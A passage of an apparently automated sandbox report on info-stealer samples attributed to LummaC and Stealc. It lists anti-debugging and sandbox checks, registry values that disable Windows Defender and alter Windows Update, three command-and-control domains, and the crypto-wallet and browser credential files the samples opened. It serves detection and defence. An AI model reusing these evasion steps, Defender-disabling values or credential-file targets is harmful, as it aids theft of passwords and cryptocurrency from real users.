Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^b
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 3OJIEMQOE0U9W5K609DU0.exe, 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1842895803.000000000096D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: w23Vg439U1.exe, 00000000.00000003.1530939169.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\w23Vg439U1.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Code function: 3_2_004289CE rdtsc

3_2_004289CE

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Code function: 3_2_002AB96C LdrInitializeThunk,

3_2_002AB96C

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: O4784SI9RJ8L8V71YQA7V.exe PID: 1220, type: MEMORYSTR

LummaC encrypted strings found

Source: w23Vg439U1.exe, 00000000.00000003.1460493721.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: steppriflej.xyz
Source: w23Vg439U1.exe, 00000000.00000003.1460493721.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sendypaster.xyz
Source: w23Vg439U1.exe, 00000000.00000003.1460493721.0000000005280000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cuddlyready.xyz

Source: 3OJIEMQOE0U9W5K609DU0.exe, 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: *Program Manager
Source: O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1843337218.00000000009B0000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: w23Vg439U1.exe, 00000000.00000003.1601121427.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1601028918.00000000016F1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\w23Vg439U1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: w23Vg439U1.exe PID: 3600, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1842480874.00000000005A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1802184006.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: O4784SI9RJ8L8V71YQA7V.exe PID: 1220, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wal
Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0
Source: w23Vg439U1.exe	String found in binary or memory: window-state.json
Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"en":"kncchdigobghenbbaddojjnnaogfppfj","ez":"iWlt"},{"en":"kkpllkodjeloidieedojogacfhpaihoh","ez":"EnKrypt"},{"en":"amkmjjmmflddogmhpjloimipbofnfjih","ez":"W
Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":2097152
Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aljgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkfgppdlbm
Source: w23Vg439U1.exe	String found in binary or memory: %appdata%\Ethereum
Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: w23Vg439U1.exe, 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: um","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":@

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
